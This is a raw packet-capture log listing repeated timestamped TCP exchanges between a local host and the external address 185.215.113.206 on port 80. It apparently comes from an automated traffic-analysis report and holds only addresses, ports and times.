Nov 18, 2024 04:41:12.791081905 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791102886 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791112900 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791114092 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791143894 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791152000 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791169882 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791184902 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791186094 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791203022 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791208029 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791218042 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791219950 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791234970 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791235924 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791259050 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791259050 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791269064 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791277885 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791292906 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791294098 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791301966 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791328907 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791337967 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791341066 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791353941 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791377068 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791378975 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791388035 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791393042 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791407108 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791419029 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791429996 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791429996 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791429996 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791435957 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791452885 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791452885 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791469097 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791481972 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791493893 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791493893 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791520119 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791522026 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791522026 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791537046 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791551113 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791558027 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791567087 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791568041 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791585922 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791600943 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791616917 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791616917 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791630030 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791630030 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791634083 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791649103 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791651964 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791665077 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791673899 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791676998 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791687965 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791711092 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791712999 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791737080 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791739941 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791763067 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791764975 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791778088 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791784048 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791800976 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791811943 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791819096 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791831017 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791836023 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791840076 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791862965 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791870117 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791887045 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791903019 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791903019 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791918993 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791929007 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791944981 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791955948 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791960955 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791975021 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.791985989 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791985989 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791997910 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.791999102 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792016983 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792017937 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792032957 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792045116 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792048931 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792062044 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792071104 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792085886 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792093039 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792104959 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792114019 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792119980 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792129993 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792145967 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792146921 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792160034 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792164087 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792181969 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792191029 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792197943 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792201042 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792218924 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792224884 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792237043 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792244911 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792244911 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792253017 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792269945 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792274952 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792285919 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792303085 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792309999 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792326927 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792351961 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792363882 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792367935 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792383909 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792401075 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.792406082 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792416096 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.792434931 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.876327038 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.876341105 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.876364946 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.876394987 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.876413107 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.876440048 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.876454115 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.876467943 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.876478910 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.876513004 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.876616001 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.876630068 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.876646042 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.876657009 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.876682043 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.876710892 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.876727104 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.876748085 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.876751900 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.876760960 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.876777887 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.876815081 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.876815081 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.876915932 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.876965046 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.876969099 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.876981974 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.876998901 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.877012014 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.877028942 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.877043962 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.877069950 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.877085924 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.877101898 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.877109051 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.877119064 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.877135038 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.877151012 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910203934 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910223961 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910240889 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910254955 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910269976 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910285950 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910301924 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910326004 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910326004 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910346031 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910361052 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910377026 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910383940 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910393953 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910404921 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910413027 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910420895 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910454035 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910479069 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910495996 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910511017 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910523891 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910526991 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910551071 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910552025 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910577059 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910579920 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910600901 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910619020 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910639048 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910654068 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910667896 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910684109 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910686970 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910686970 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910700083 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910710096 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910717010 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910731077 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910732985 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910742998 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910751104 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910767078 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910777092 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910795927 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.910975933 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.910998106 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911011934 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911015987 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911026955 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911034107 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911045074 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911052942 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911061049 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911062002 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911077976 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911081076 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911094904 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911104918 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911115885 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911130905 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911140919 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911155939 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911170959 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911183119 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911185980 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911200047 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911200047 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911201000 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911217928 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911223888 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911236048 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911242008 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911264896 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911273003 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911510944 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911526918 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911540985 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911556005 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911565065 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911566973 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911581993 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911590099 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911597967 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911598921 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911614895 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911616087 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911632061 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911636114 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911649942 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911654949 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911665916 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911667109 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911684990 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911696911 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911716938 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911736012 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911751986 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911752939 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911772013 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911781073 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911925077 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911938906 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911953926 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911962986 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911969900 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911976099 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.911986113 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.911993980 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912002087 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912012100 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912018061 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912024975 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912046909 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912049055 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912055969 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912065029 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912080050 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912091017 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912091017 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912096024 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912111998 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912127018 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912131071 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912141085 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912142038 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912153006 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912158012 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912168980 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912173986 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912188053 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912189960 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912199020 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912209034 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912218094 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912230015 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912250042 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912414074 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912430048 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912453890 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912456036 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912463903 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912472010 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912488937 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912492037 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912501097 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912504911 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912522078 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912523031 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912539959 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912544012 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912554979 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912558079 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.912575960 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.912597895 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.996897936 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.996963024 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.996965885 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.996982098 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.996999979 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.997010946 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.997016907 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.997021914 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.997031927 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.997046947 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.997047901 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.997062922 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:12.997070074 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:12.997080088 CET	80	49710	185.215.113.206	192.168.2.6
